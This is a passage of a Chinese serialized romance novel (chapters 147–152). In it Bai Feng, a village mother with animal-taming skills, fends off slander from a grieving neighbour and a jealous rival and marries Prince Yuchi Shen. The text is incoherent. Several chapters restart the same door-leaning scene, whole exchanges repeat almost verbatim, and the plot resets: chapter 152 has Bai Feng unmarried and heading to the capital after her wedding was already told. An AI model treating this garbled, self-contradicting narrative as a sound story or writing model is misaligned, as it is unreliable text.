县太爷脸色青一阵白一阵,半天说不出话来。 “还不放人?”李铁冷冷地说。 县太爷咬了咬牙,对衙役说:“放人。” 衙役连忙打开牢门。 白凤走出牢房,豆豆立刻扑了过来:“娘!” 白凤抱住儿子,眼泪又流了下来。 “乐乐它们呢?”白凤问。 “在后院关着。”李铁说,“我这就让人去放了它们。” 没过多久,乐乐、来财和福球都被放了出来。 乐乐一看见白凤,立刻扑了过来,用脑袋蹭着她的腿。 白凤关上门后,心跳得厉害。 她靠在门板上,手心全是汗。徽臻王那边不会善罢甘休,这点她很清楚。可她也不是任人摆布的性子,真要逼急了,她带着豆豆跑到天涯海角也行。 “娘?”豆豆从屋里探出头,“那个叔叔走了吗?” “走了。”白凤收拾好情绪,走过去摸摸他的头,“睡吧,明天还要早起。” 豆豆乖乖回屋了。白凤却睡不着,在院子里坐到半夜。 第二天一早,镇上就热闹起来。 白凤去集市买菜,发现好些人看她的眼神都不一样了。以前那些爱嚼舌根的婆子,现在见了她都笑眯眯地打招呼。 “白姑娘,你可真厉害,把童氏那泼妇治得服服帖帖!” “就是就是,早该这样了,那女人仗着自己是你继母,这些年没少占你便宜吧?” 白凤客气地应着,心里却没多高兴。人情冷暖,不过如此。 她正挑菜,突然听到有人喊:“王婆子家出事了!” 白凤抬头,就见一群人往王婆子家跑。她犹豫了下,也跟了过去。 王婆子家门口围了一圈人。白凤挤进去,就见王婆子坐在地上嚎啕大哭,旁边躺着个女孩,脸色青白,已经没了气息。 “我的女儿啊!”王婆子哭得撕心裂肺,“才十二岁,怎么说没就没了!” 有人小声议论:“这是王婆子的二女儿吧?前几天还好好的,怎么突然就……” “听说是得了急病,半夜发起高烧,天亮就不行了。” 白凤看着那女孩,心里一沉。这症状,像是急性热病,来势凶猛,若是不及时治疗,确实会要命。 王婆子突然抬头,眼睛通红地盯着白凤:“都怪你!都怪你这个扫把星!” 白凤愣住:“王婆子,你这话什么意思?” “我女儿病了,我去找你,你不是说会医术吗?你为什么不救她!”王婆子指着白凤,声音尖利,“你就是故意的!你看不得我家好!” 周围的人面面相觑。 白凤皱眉:“王婆子,你找过我?我怎么不知道?” “昨天晚上!我去敲你家门,你根本不开!”王婆子哭喊着,“我女儿就是被你害死的!” 白凤这才想起来,昨晚确实有人敲门,但她以为是徽臻王的人,所以没理会。 “王婆子,昨晚我确实没开门,但我不知道是你。”白凤解释,“而且就算我开了门,你女儿这病来得急,我也不一定能救。” “你就是故意的!”王婆子不依不饶,“你这个毒妇,害死了我女儿,我要你偿命!” 她说着就要扑上来。 白凤往后退了一步,冷声道:“王婆子,你女儿的死我很遗憾,但这不是我的错。你要是再胡搅蛮缠,我就去县衙告你诽谤。” “你还敢告我?”王婆子眼睛瞪得溜圆,“我女儿死了,你还有脸说这种话!” 围观的人开始窃窃私语。有人说白凤冷血,也有人说王婆子无理取闹。 白凤正要再说什么,突然听到一个低沉的声音:“够了。” 人群自动让开一条路。 徐禄生走了进来,身后跟着几个衙役。 “徐大人!”王婆子看到他,像是抓住了救命稻草,“您要为我做主啊!白凤害死了我女儿!” 徐禄生看了眼地上的女孩,又看向白凤:“白姑娘,这是怎么回事?” 白凤简单说了一遍。 徐禄生听完,转向王婆子:“你女儿得的是急病,就算白姑娘开了门,也未必能救。你这样污蔑她,是要负责任的。” “我没有污蔑!”王婆子梗着脖子,“她就是故意不救!” “那你有证据吗?”徐禄生问。 王婆子语塞。 徐禄生叹了口气:“王婆子,我知道你失去女儿很痛苦,但你不能把气撒在别人身上。白姑娘不欠你什么,她没有义务随叫随到。” “可是……可是我女儿死了啊!”王婆子又哭了起来。 徐禄生没再说话,让衙役帮忙料理后事。 白凤转身要走,王婆子突然喊道:“白凤,你等着!我不会放过你的!” 白凤脚步一顿,没有回头。 回到家,白凤心情很差。 豆豆看出来了,小心翼翼地问:“娘,你怎么了?” “没事。”白凤勉强笑了笑,“豆豆,你记住,做人要问心无愧。别人怎么说,那是别人的事。” 第148章 翻来覆去睡不着 豆豆似懂非懂地点头。 晚上,白凤躺在床上,翻来覆去睡不着。 王婆子那句“我不会放过你”,让她心里不安。这种泼妇,什么事都做得出来。 果然,第二天一早,白凤就听说王婆子到处说她的坏话。 “白凤那女人心肠歹毒,见死不救!” “她就是嫉妒我家日子过得好,故意害我女儿!” “大家以后离她远点,小心被她克死!” 白凤听了,气得发抖。 徐禄生来找她,劝道:“白姑娘,你别往心里去。王婆子现在正伤心,过段时间就好了。” “我知道。”白凤咬着牙,“但我咽不下这口气。” “那你打算怎么办?” 白凤想了想:“我要让所有人知道真相。” 她去找了当时在场的几个人,让他们作证,证明王婆子的女儿确实是急病而死,跟她没关系。 然后她又去找了镇上的郎中,让他验尸。 郎中检查后,确认女孩死于急性热病,就算及时治疗,存活率也不高。 白凤拿着郎中的证明,去了县衙。 县令看了证明,又听了证人的话,点头道:“白姑娘,你确实没有责任。王婆子这是胡闹。” “大人,我想请您主持公道。”白凤说,“王婆子到处散播谣言,损害我的名誉,我要她公开道歉。” 县令沉吟片刻:“好,我会传她来问话。” 几天后,县令判王婆子公开道歉,并罚她十两银子。 王婆子不服,在县衙门口大闹,最后被衙役拖走了。 镇上的人都说白凤厉害,连着告倒了两个人。 白凤却高兴不起来。她知道,王婆子这种人,不会就此罢休。 果然,没过几天,白凤家的菜地被人毁了。 豆豆哭着跑回来:“娘,咱们的菜都被人拔了!” 白凤跑去一看,菜地一片狼藉,辛辛苦苦种的菜全被糟蹋了。 她马上想到了王婆子。 但她没有证据。 白凤咬着牙,重新整理菜地。豆豆在旁边帮忙,小手被泥土弄得脏兮兮的。 “娘,是谁干的?”豆豆问。 “不知道。”白凤说,“但娘会查出来的。” 当天晚上,白凤让乐乐和来财守在菜地旁边。 第二天一早,乐乐叫了起来。 白凤跑出去,就见王婆子的儿子鬼鬼祟祟地在菜地边转悠。 “站住!”白凤喊道。 那小子吓了一跳,转身就跑。 乐乐扑上去,一口咬住他的裤腿。 “哎哟!”小子摔了个狗啃泥。 白凤走过去,冷冷地看着他:“是你毁了我的菜地?” “不……不是我!”小子结结巴巴。 “还敢狡辩?”白凤一脚踩在他手上,“信不信我把你送去县衙?” “别别别!”小子吓坏了,“是我娘让我干的!她说要给你点颜色看看!” 白凤冷笑:“果然是她。” 她拎着小子去了王婆子家。 王婆子正在院子里骂骂咧咧,看到白凤,脸色一变:“你来干什么?” “王婆子,你儿子都招了。”白凤把小子往前一推,“你还有什么好说的?” 王婆子脸色青白交加:“我……我不知道你在说什么!” “不知道?”白凤冷笑,“那咱们去县衙说清楚。” “你敢!”王婆子跳起来,“我女儿死了,你还要欺负我们孤儿寡母!” “你女儿的死跟我无关,县令都判了。”白凤说,“你要是再闹,我就告你故意毁坏他人财物。” 王婆子气得浑身发抖,却说不出话来。 白凤转身要走,突然听到身后传来一个声音:“白姑娘,请留步。” 她回头,就见一个身穿黑色劲装的男人站在不远处。 那人长得极俊,眉眼间带着几分凌厉。 白凤心里一跳。 这人,就是徽臻王尉迟深。 尉迟深站在那里,周身气势逼人。 白凤下意识往后退了半步,手心冒汗。 “王爷。”她硬着头皮行礼。 尉迟深走过来,目光扫过王婆子和她儿子,淡淡道:“发生了什么事?” 白凤简单说了一遍。 尉迟深听完,看向王婆子:“你女儿的死,与白姑娘无关。你若再纠缠,本王不会客气。” 王婆子被他的气势震住,腿一软,跪在了地上:“王……王爷饶命!” “滚。”尉迟深只说了一个字。 王婆子连滚带爬地跑了。 白凤松了口气,转身要走。 “白姑娘。”尉迟深叫住她。 白凤停下脚步,没回头:“王爷还有事?” “本王来,是想跟你谈谈。”尉迟深说。 “我跟王爷没什么好谈的。”白凤冷冷道。 “关于豆豆。”尉迟深说。 白凤身子一僵。 她转过身,盯着尉迟深:“王爷想说什么?” “豆豆是本王的儿子,这点你我都清楚。”尉迟深说,“本王不会强迫你进京,但豆豆需要更好的教育。” “他现在很好。”白凤说。 “在这个小镇上?”尉迟深挑眉,“白姑娘,你应该知道,豆豆的身份不一般。他将来要继承王位,需要接受系统的教育。” “那是你的想法,不是我的。”白凤说,“我只想让他平平安安长大。” “平安?”尉迟深冷笑,“你以为躲在这里就能平安?白姑娘,你太天真了。” 白凤心里一沉:“你什么意思?” “你父亲当年的案子,你真以为那么简单?”尉迟深说,“有人不想让你们母子活着。” 白凤脸色变了:“你在胡说什么?” “本王没有胡说。”尉迟深说,“你父亲白将军当年被贬,是因为有人陷害。而那些人,现在还在朝中。” 白凤握紧拳头:“你有证据吗?” “暂时没有。”尉迟深说,“但本王会查清楚。” “那跟我有什么关系?”白凤问。 “关系大了。”尉迟深说,“那些人知道你还活着,一定会想办法除掉你。你留在这里,只会更危险。” 白凤沉默了。 她不是傻子,知道尉迟深说的有道理。但她不想回京城,不想面对那些勾心斗角。 “王爷,我需要时间考虑。”白凤说。 “好。”尉迟深点头,“但本王希望你尽快做决定。” 他说完,转身离开了。 白凤站在原地,心乱如麻。 回到家,豆豆正在院子里玩。看到她,立刻跑过来:“娘,你去哪了?” “没去哪。”白凤摸摸他的头,“豆豆,你想去京城吗?” 豆豆歪着头想了想:“京城是什么样的?” “很大,很繁华。”白凤说,“有很多好玩的东西。” “那我想去!”豆豆眼睛亮了。 白凤笑了笑,没再说话。 接下来几天,尉迟深没有再来。但白凤知道,他一定在等她的答复。 第149章 走错门了 白凤靠在门上站了好一会儿,心跳才慢慢平复下来。 豆豆从屋里探出头:“娘,是谁啊?” “没事,走错门了。”白凤转身,脸上挤出笑容。 她不能让豆豆担心。这孩子这些年受的苦够多了,好不容易日子有了起色,她不能再让他提心吊胆。 可徽臻王那边……白凤咬了咬牙。 既然躲不过,那就主动出击。 第二天一早,白凤换上了那件最体面的衣裳,把头发梳得整整齐齐,带上豆豆就出了门。 “娘,咱们去哪儿?”豆豆小跑着跟在后面。 “去找个人。” 白凤直奔徽臻王府。 门口的侍卫看到她,愣了一下:“白姑娘?” “我要见你家王爷。”白凤抬起下巴,“就说我白凤主动来了。” 侍卫面面相觑,其中一个赶紧跑进去通报。 没多久,黑甲将士就出来了,脸上带着几分惊讶:“白姑娘,您这是……” “带我去见尉迟深。”白凤说得干脆利落。 黑甲将士看了看她,又看了看豆豆,最后点点头:“请跟我来。” 徽臻王府比白凤想象中还要气派。亭台楼阁,假山流水,处处透着富贵。豆豆看得眼睛都直了,小手紧紧拽着白凤的衣角。 “别怕。”白凤低声说。 她自己心里也在打鼓,但面上不能露怯。 尉迟深在书房里。 白凤进门的时候,他正在看一本兵书,听到脚步声抬起头,眼中闪过一丝意外。 “你来了。” “我来了。”白凤站在门口,没有进去,“我有话跟你说。” 尉迟深放下书,站起身:“说。” “我要你娶我。” 这话一出,整个书房都安静了。 黑甲将士差点没站稳,豆豆瞪大了眼睛,连尉迟深都愣住了。 “你说什么?” “我说,我要你娶我。”白凤重复了一遍,声音很平静,“你不是想让我进京吗?行,我答应。但有个条件,你得娶我,给豆豆一个名分。” 尉迟深盯着她看了好一会儿,突然笑了:“你倒是想得明白。” “我没别的选择。”白凤说,“你要是真想强行把我带走,我也跑不了。与其被动,不如主动。再说了,你要的不就是我这个人吗?娶不娶,对你来说有什么区别?” “区别大了。”尉迟深走到她面前,低头看着她,“娶你,就得对你负责。” “那正好。”白凤抬起头,直视他的眼睛,“我也要你对我负责。” 两人对视了片刻,尉迟深突然伸手,捏住了她的下巴:“白凤,你知道自己在说什么吗?” “知道。”白凤没有躲,“我很清醒。” 尉迟深松开手,退后一步:“好,我答应你。” 白凤松了口气,但还没来得及说话,就听到外面传来一声尖叫。 “王爷!” 一个穿着粉色衣裙的姑娘冲了进来,看到白凤,脸色瞬间变得铁青。 “你怎么在这里?” 白凤认出了她。镇上的人都知道,这位是知府家的千金,姓柳,叫柳如烟。据说从小就跟尉迟深青梅竹马,一直想嫁给他。 “柳姑娘。”尉迟深皱起眉头,“谁让你进来的?” “我……我听说你要娶人,就赶过来了。”柳如烟眼眶红了,“王爷,你不能娶她!她一个乡下女人,配不上你!” “配不配得上,不是你说了算。”尉迟深语气冷了下来。 柳如烟咬着嘴唇,眼泪啪嗒啪嗒往下掉:“王爷,你忘了吗?当年你说过,等你功成名就,就会娶我的。” “我什么时候说过?”尉迟深反问。 柳如烟愣住了。 “柳姑娘,你我之间从来没有婚约,也没有承诺。”尉迟深说得很直白,“你自己想多了。” 柳如烟脸色惨白,转头看向白凤,眼中满是恨意:“都是你!要不是你,王爷怎么会这样对我!” “柳姑娘,话可不能乱说。”白凤不紧不慢地开口,“我跟王爷的事,跟你有什么关系?” “你……”柳如烟气得浑身发抖。 “还有。”白凤继续说,“你说我配不上王爷,那你配得上吗?你不过是仗着家里有点权势,就以为自己高人一等。可王爷要的是什么样的人,你心里没数吗?” 柳如烟被说得哑口无言。 “够了。”尉迟深打断她们,“来人,送柳姑娘出去。” “王爷!”柳如烟还想说什么,但侍卫已经上前,架着她往外走。 “白凤!我不会放过你的!”柳如烟临走前丢下这句话。 白凤耸耸肩,没当回事。 等人走了,尉迟深看向她:“你不怕她报复?” “怕有什么用?”白凤说,“该来的总会来。” 尉迟深笑了:“你倒是看得开。” “不看开能怎么办?”白凤叹了口气,“我这些年受的气还少吗?” 尉迟深沉默了一会儿,突然说:“白凤,你后悔吗?” “后悔什么?” “后悔当年跟了我。” 白凤愣了一下,然后摇摇头:“不后悔。要是没有那一夜,就没有豆豆。豆豆是我这辈子最大的福气。” 尉迟深看着她,眼神复杂。 “行了,别说这些了。”白凤转移话题,“咱们什么时候成亲?” “你还真急。” “废话,我能不急吗?”白凤翻了个白眼,“你那个青梅竹马看起来就不是善茬,我得赶紧把名分定下来,省得她天天来找麻烦。” 尉迟深被她逗笑了:“行,听你的。三天后,咱们就成亲。” “这么快?” “你不是急吗?” 白凤噎了一下,最后点点头:“行,就三天后。” 回去的路上,豆豆一直拽着白凤的衣角,小脸皱成一团。 “娘,你真的要嫁给那个人吗?” “嗯。” “可是……”豆豆欲言又止。 “可是什么?”白凤蹲下来,摸了摸他的头,“豆豆,你是不是不喜欢他?” 豆豆摇摇头:“不是不喜欢,就是……就是觉得怪怪的。” “哪里怪?” “说不上来。”豆豆挠挠头,“反正就是怪。” 白凤笑了:“傻孩子,等你长大了就明白了。” “哦。”豆豆似懂非懂地点点头。 回到家,白凤开始收拾东西。 三天时间不长,她得把该准备的都准备好。 徐禄生听说这事,专门跑来劝她:“白姑娘,你真的想好了?那徽臻王可不是普通人,你嫁过去,日子不一定好过。” “我知道。”白凤说,“但我没别的选择。” “唉。”徐禄生叹了口气,“也罢,你自己的事,你自己做主。要是以后有什么难处,尽管来找我。” “谢谢徐大哥。” 三天时间转眼就过去了。 成亲那天,白凤穿上了一身红色嫁衣。 这衣裳是尉迟深派人送来的,料子极好,绣工精细,一看就价值不菲。 第150章 以后咱们就有家了 豆豆看着娘穿上嫁衣,眼眶红了:“娘,你好看。” “傻孩子。”白凤抱了抱他,“以后咱们就有家了。” “嗯。”豆豆用力点头。 迎亲的队伍很气派。 十几顶大红花轿,几十个吹吹打打的乐手,把整条街都堵住了。 镇上的人都跑出来看热闹,指指点点。 “这白凤可真是走了狗屎运,居然能嫁给徽臻王。” “谁说不是呢,以前还说她不检点,现在看来,人家是有本事。” “切,还不是靠着那张脸。” 白凤听着这些议论,面无表情。 她早就习惯了。 花轿停在门口,尉迟深亲自来接她。 他今天穿了一身大红喜服,英姿勃发,看得周围的姑娘们眼睛都直了。 “走吧。”尉迟深伸出手。 白凤看了他一眼,把手放在他掌心里。 就在这时,人群中突然传来一声尖叫。 “住手!” 柳如烟冲了出来,脸色惨白,眼睛红肿。 “王爷,你不能娶她!她不是好人!” 尉迟深皱起眉头:“柳如烟,你闹够了没有?” “我没闹!”柳如烟指着白凤,“她当年跟你有了孩子,却不告诉你,自己一个人把孩子生下来!这种女人,心机深沉,你娶了她,早晚会后悔的!” 周围的人听了,纷纷议论起来。 白凤冷笑一声:“柳姑娘,你这话说得可真有意思。当年我为什么不告诉王爷,你心里没数吗?” “我……我怎么知道?”柳如烟心虚地移开视线。 “是吗?”白凤走到她面前,“那我就提醒你一下。当年王爷离开后,是谁跑到我家,说王爷已经有了心上人,让我别痴心妄想?是谁说,王爷根本不记得我,那一夜不过是逢场作戏?” 柳如烟脸色大变:“你胡说!” “我有没有胡说,你自己心里清楚。”白凤转头看向尉迟深,“王爷,当年你离开后,有没有让人给我传过话?” 尉迟深脸色阴沉:“没有。” “那就对了。”白凤看向柳如烟,“柳姑娘,你当年为了拆散我们,可真是费尽心思。” 柳如烟浑身发抖,眼泪啪嗒啪嗒往下掉:“我……我那是为了王爷好!你一个乡下女人,配不上他!” “配不配得上,不是你说了算。”尉迟深冷冷地说,“柳如烟,这些年我一直把你当朋友,没想到你竟然做出这种事。” “王爷……”柳如烟想要解释。 “够了。”尉迟深打断她,“从今天起,你我之间再无瓜葛。” 说完,他拉着白凤上了花轿。 柳如烟站在原地,脸色惨白如纸。 周围的人看着她,眼神里满是鄙夷。 “原来是她从中作梗,真是太不要脸了。” “就是,还好意思说别人,自己才是最不要脸的。” 柳如烟听着这些议论,突然捂着胸口,一口鲜血喷了出来。 “小姐!”丫鬟赶紧扶住她。 柳如烟眼前一黑,晕了过去。 花轿里,白凤掀开帘子,看了一眼外面。 “你不担心她?”尉迟深问。 “担心什么?”白凤放下帘子,“她自作自受。” 尉迟深笑了:“你还真是心狠。” “不心狠,怎么活到现在?”白凤靠在轿壁上,“王爷,你不会怪我吧?” “怪你什么?” “怪我当年没告诉你。” 尉迟深沉默了一会儿,然后说:“不怪。要怪,也是怪我自己。” 白凤看着他,突然觉得这个男人也没那么讨厌。 花轿一路到了王府。 拜堂的时候,白凤看到了很多陌生的面孔。 这些人都是京城来的,个个衣着华贵,气度不凡。 “一拜天地。” “二拜高堂。” “夫妻对拜。” “送入洞房。” 白凤被扶进了新房。 房间里布置得很喜庆,到处都是红色。 她坐在床边,等着尉迟深进来。 没多久,门被推开了。 尉迟深走进来,关上门。 “累了吧?”他走到她面前,掀开了盖头。 白凤抬起头,看着他:“还好。” 尉迟深坐在她旁边:“白凤,我知道你嫁给我,是为了保护豆豆。” “不全是。”白凤说,“也是为了我自己。” “嗯?” “我这些年一个人带着豆豆,受了不少苦。”白凤说,“我想给他一个好的生活,想让他堂堂正正做人。嫁给你,是最好的选择。” 尉迟深看着她,突然伸手,把她拉进怀里。 “白凤,我会对你好的。” 白凤愣了一下,然后点点头:“我知道。” 新婚第二天,白凤还没起床,就听到外面传来吵闹声。 她皱起眉头,推开尉迟深的手臂,下床穿衣服。 “怎么了?”尉迟深也醒了。 “不知道,我出去看看。” 白凤打开门,就看到柳如烟站在院子里,身边还跟着几个丫鬟。 “柳姑娘,你这是干什么?”白凤问。 柳如烟看到她,眼中闪过一丝恨意:“白凤,你别得意太早。” “我得意什么?”白凤走下台阶,“柳姑娘,你昨天不是吐血晕倒了吗?怎么今天又活蹦乱跳的?” 柳如烟脸色一僵:“我……我是来找王爷的。” “找我?”尉迟深从房里走出来,“有事?” “王爷,我有话要说。”柳如烟咬着嘴唇,“关于白凤的。” “说。”尉迟深语气冷淡。 “白凤她……她当年不止跟你一个人有过关系!”柳如烟大声说,“她水性杨花,不检点!” 白凤听了,反而笑了:“柳姑娘,你这话有证据吗?” “我……”柳如烟语塞。 “没证据就别乱说。”白凤走到她面前,“你这样诬陷我,我可以告你诽谤。” “我没诬陷!”柳如烟急了,“王爷,你别被她骗了!她就是个骗子!” “够了。”尉迟深冷冷地说,“柳如烟,你当年挑拨离间,让我和白凤误会了这么多年。现在又来诬陷她,你到底想干什么?” 柳如烟愣住了:“王爷,你……你都知道了?” “我当然知道。”尉迟深说,“当年我离开后,派人给白凤送过信,但信被你拦下了。你还假传我的话,说我不会回来了。” 柳如烟脸色惨白:“我……我那是……” “你那是为了自己。”尉迟深打断她,“柳如烟,我一直把你当朋友,没想到你竟然这么自私。” 柳如烟浑身发抖,眼泪啪嗒啪嗒往下掉。 “王爷,我错了……我真的错了……” “错了就该承担后果。”尉迟深说,“来人,送柳姑娘出去。以后没有我的允许,不许她再进王府。” “是。”侍卫上前,架着柳如烟往外走。 “王爷!王爷!”柳如烟挣扎着,但没用。 白凤看着她被拖走,心里松了口气。 “你没事吧?”尉迟深走到她身边。 “我没事。”白凤摇摇头,“就是觉得她挺可怜的。” “可怜?”尉迟深挑眉。 “嗯。”白凤说,“她喜欢你这么多年,却得不到你的心。这种感觉,应该很痛苦吧。” 第151章 好景不长 尉迟深看着她,突然笑了:“你还真是善良。” “我可不善良。”白凤说,“我只是觉得,她这样做,最后伤害的还是她自己。” 尉迟深没说话,只是伸手,把她拉进怀里。 “白凤,以后有我在,不会让任何人欺负你。” 白凤靠在他怀里,突然觉得很安心。 就在这时,豆豆跑了过来。 “娘!娘!” “怎么了?”白凤蹲下来。 “娘,来财说,那个穿粉色衣服的姐姐,以前跟太子有过一腿!” 白凤愣住了。 尉迟深也愣住了。 “你说什么?”白凤问。 “来财说的!”豆豆指着院子里的那只橘猫,“它说,那个姐姐以前经常偷偷去太子府,还在那里过夜!” 白凤倒吸一口凉气。 这可是个大瓜。 柳如烟居然跟太子有一腿? “豆豆,你确定来财说的是真的?”白凤问。 “嗯!”豆豆用力点头,“来财不会骗人的!” 白凤看向尉迟深:“这事……” “我知道了。”尉迟深脸色阴沉,“看来柳如烟的野心,比我想象中还要大。” “什么意思?” “她想当皇后。”尉迟深说,“太子现在还没有正妃,她要是能嫁给太子,将来就是皇后。” 白凤恍然大悟。 难怪柳如烟这么执着于尉迟深,原来是想通过他接近皇室。 “那现在怎么办?”白凤问。 “先观察。”尉迟深说,“这事不能声张,否则会打草惊蛇。” 白凤点点头。 接下来几天,白凤在王府里过得还算安稳。 尉迟深对她很好,豆豆也适应了新环境。 但好景不长。 半个月后,宫里传来消息,皇后娘娘要办赏花宴,邀请所有命妇参加。 白凤作为徽臻王妃,自然也在邀请之列。 “我不想去。”白凤对尉迟深说。 “为什么?” “我不喜欢那种场合。”白凤说,“而且我也不懂那些规矩。” “没事,我教你。”尉迟深说,“这次赏花宴,你必须去。” “为什么?” “因为太子会在。”尉迟深说,“我想看看,柳如烟会不会露出马脚。” 白凤明白了。 赏花宴那天,白凤穿了一身淡青色的衣裙,头上只簪了一支简单的银簪。 “你就穿这个?”尉迟深皱眉。 “怎么了?”白凤低头看了看自己,“不好看吗?” “不是不好看,是太素了。”尉迟深说,“你是王妃,穿得这么简单,会被人看不起的。” “那又怎样?”白凤不在意,“我本来就不是什么大家闺秀,穿得再华丽,也改变不了我的出身。” 尉迟深看着她,突然笑了:“你倒是想得开。” “不想开能怎么办?”白凤耸耸肩,“难道还要装模作样?” 尉迟深摇摇头,从柜子里拿出一个盒子。 “戴上这个。” 白凤打开盒子,里面是一支玉簪,通体碧绿,雕工精细。 “这太贵重了。”白凤说。 “戴上。”尉迟深不容拒绝。 白凤只好把银簪换下来,戴上玉簪。 “这样好看多了。”尉迟深满意地点点头。 到了宫里,白凤才发现,这里比王府还要气派。 到处都是金碧辉煌,连地砖都是上好的汉白玉。 “别紧张。”尉迟深低声说,“跟着我就行。” 白凤点点头。 赏花宴在御花园举行。 园子里摆满了各种名贵的花卉,香气扑鼻。 白凤跟着尉迟深走进去,立刻感受到了无数道目光。 “那就是徽臻王妃?” “听说是个乡下女人。” “长得倒是不错,就是气质差了点。” 白凤听着这些议论,面无表情。 她早就习惯了。 “王妃,这边请。”一个宫女走过来,引着她们到了座位上。 白凤坐下,环顾四周。 宴席上坐满了各家的夫人小姐,个个衣着华丽,珠光宝气。 相比之下,白凤确实显得素净了些。 但她不在乎。 就在这时,皇后娘娘到了。 “皇后娘娘驾到!” 所有人都站起来行礼。 白凤也跟着站起来,学着别人的样子行礼。 皇后娘娘是个四十来岁的妇人,保养得很好,看起来只有三十出头。 她坐在主位上,笑着说:“都坐吧,今天是赏花宴,大家不必拘束。” 众人这才坐下。 宴席开始后,宫女们端上来各种精致的点心和菜肴。 白凤尝了一口,味道确实不错。 “王妃,这是本宫特意让御厨做的桂花糕,您尝尝。”皇后娘娘突然开口。 白凤愣了一下,赶紧站起来:“多谢娘娘。” “不必客气。”皇后娘娘笑着说,“本宫听说,王妃是个很有本事的人。” “娘娘过奖了。”白凤谦虚地说。 “不是过奖。”皇后娘娘说,“能让徽臻王这么快就娶妻,可见王妃确实不一般。” 白凤不知道该怎么接话,只好笑了笑。 就在这时,一个声音突然响起。 “皇后娘娘,臣妾有话要说。” 白凤转头一看,说话的正是柳如烟。 她今天穿了一身粉色衣裙,打扮得花枝招展。 “柳小姐有什么话,但说无妨。”皇后娘娘说。 “臣妾想说的是,关于徽臻王妃的。”柳如烟站起来,指着白凤,“她不配当王妃!” 全场一片哗然。 白凤皱起眉头,看着柳如烟。 这女人还真是阴魂不散。 “柳小姐,你这话是什么意思?”皇后娘娘问。 “娘娘,徽臻王妃出身低微,不懂规矩,而且品行不端。”柳如烟说,“她当年未婚生子,水性杨花,这样的女人,怎么配当王妃?” 白凤听了,反而笑了。 “柳姑娘,你这话说得可真有意思。”白凤站起来,“我未婚生子不假,但孩子的父亲是徽臻王。我跟他有了孩子,然后嫁给他,这有什么问题吗?” “你……”柳如烟语塞。 “至于品行不端。”白凤继续说,“柳姑娘,你有证据吗?” “我……”柳如烟咬着嘴唇。 “没证据就别乱说。”白凤说,“你这样诬陷我,我可以告你诽谤。” “我没诬陷!”柳如烟急了,“你就是个骗子!你骗了王爷,骗了所有人!” “够了。”尉迟深站起来,脸色阴沉,“柳如烟,你当年挑拨离间,让我和白凤误会了这么多年。现在又来诬陷她,你到底想干什么?” 柳如烟愣住了。 “王爷说的是真的?”皇后娘娘问。 “千真万确。”尉迟深说,“当年我离开后,派人给白凤送过信,但信被柳如烟拦下了。她还假传我的话,说我不会回来了。” 第152章 手心全是汗 白凤关上门后,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才那个叔叔又来了?” “嗯。”白凤蹲下来,摸摸儿子的头,“豆豆不怕,娘会保护你。” “我不怕。”豆豆挺起小胸脯,“我长大了,要保护娘。” 白凤笑了,心里却沉甸甸的。徽臻王那边不会善罢甘休,她得想个万全之策。 第二天一早,白凤就去找徐禄生商量。 徐禄生听完,皱着眉头想了半天:“白姑娘,依我看,你躲不过去的。徽臻王要是真想找你,天涯海角都能找到。” “那你说怎么办?”白凤有些急了。 “不如……”徐禄生压低声音,“你主动去一趟京城,但不是去见徽臻王,而是去见皇上。” 白凤愣住:“见皇上?” “对。”徐禄生点头,“你这驯兽的本事,皇上肯定感兴趣。要是能得皇上赏识,徽臻王就不敢乱来了。” 白凤眼睛一亮。这主意倒是不错。 “可我怎么见皇上?” “这个……”徐禄生挠挠头,“我倒是认识京城里一个官员,当年他来咱们镇上办差,我帮过他。要不我写封信,你带着去试试?” “好。”白凤当机立断,“就这么办。” 徐禄生当天就写好了信,白凤收拾了行李,准备进京。 豆豆听说要去京城,高兴得直蹦:“娘,我也要去!” “不行。”白凤摇头,“京城不比咱们镇上,你留在家里,让徐叔照看着。” “我不要!”豆豆撅起嘴,“娘去哪儿,我就去哪儿!” 白凤正要说话,乐乐突然叫了一声,跑到门口。 白凤心里一紧,打开门,门外站着的竟然是童氏。 童氏脸色铁青,手里拎着个包袱:“白凤,你给我出来!” 白凤冷着脸:“你来干什么?” “干什么?”童氏冷笑,“你告我,让我赔了银子,现在还想跑?我告诉你,没门!” “我跑不跑,跟你有什么关系?”白凤说。 “怎么没关系?”童氏把包袱往地上一扔,“这是你爹当年欠我家的银子,一共五十两!你今天要是不还,我就去县衙告你!” 白凤气笑了:“我爹欠你银子?你有凭据吗?” “凭据?”童氏一愣,“这……这还用凭据?当年你爹借钱的时候,可是亲口说的!” “亲口说的就算数?”白凤冷笑,“那我还说你欠我一百两呢,你给不给?” 童氏被噎住了,脸涨得通红:“你……你这是耍赖!” “我耍赖?”白凤走上前,“童氏,你别以为我不知道你打的什么主意。我告诉你,我没时间跟你纠缠。你要是再敢来闹,我就让县令把你关进大牢!” 童氏被白凤的气势吓住了,后退了两步:“你……你敢!” “你试试看。”白凤说完,砰地一声关上门。 童氏在门外骂了半天,见没人理她,只好悻悻离开。 白凤转身,看见豆豆正瞪着大眼睛看她。 “娘好厉害!”豆豆拍手。 白凤叹了口气,摸摸儿子的头:“豆豆,娘要去京城办点事,你在家乖乖听话,好不好?” “不好。”豆豆摇头,“我要跟娘一起去。” 白凤正要拒绝,乐乐突然跑过来,用头蹭蹭豆豆的腿,又蹭蹭白凤的腿。 白凤愣了一下,看着乐乐,心里突然有了主意。 “好吧。”她说,“那你跟娘一起去,但要听话,不能乱跑。” “好!”豆豆高兴得跳起来。 三天后,白凤带着豆豆和几只动物,坐上了去京城的马车。 马车是徐禄生帮忙找的,车夫是个老实人,一路上话不多。 豆豆第一次出远门,兴奋得不行,趴在车窗上看外面的风景。 白凤坐在车里,心里却七上八下。她不知道这次进京会遇到什么,但她知道,这是她唯一的机会。 马车走了五天,终于到了京城。 京城比白凤想象的还要繁华,街道上人来人往,各种店铺鳞次栉比。 豆豆看得眼睛都直了:“娘,这里好大啊!” 白凤牵着儿子的手,找到了徐禄生信里说的那个官员的府邸。 府邸门口站着两个守卫,白凤上前说明来意,守卫让她等着,进去通报。 过了一会儿,一个四十来岁的中年男人走了出来。他穿着官服,看起来挺和气。 “你就是徐禄生说的白凤?”中年男人打量着白凤。 “是。”白凤递上信,“这是徐叔让我带来的。” 中年男人接过信,看了看,点点头:“徐禄生说你会驯兽,是真的?” “是。”白凤说。 “那你驯给我看看。”中年男人说。 白凤看了看周围,指着府邸里的一只猫:“那只猫可以吗?” “可以。”中年男人说。 白凤走过去,蹲在猫面前,轻轻吹了个口哨。 那只猫原本正在睡觉,听到口哨声,突然站起来,走到白凤面前,乖乖坐下。 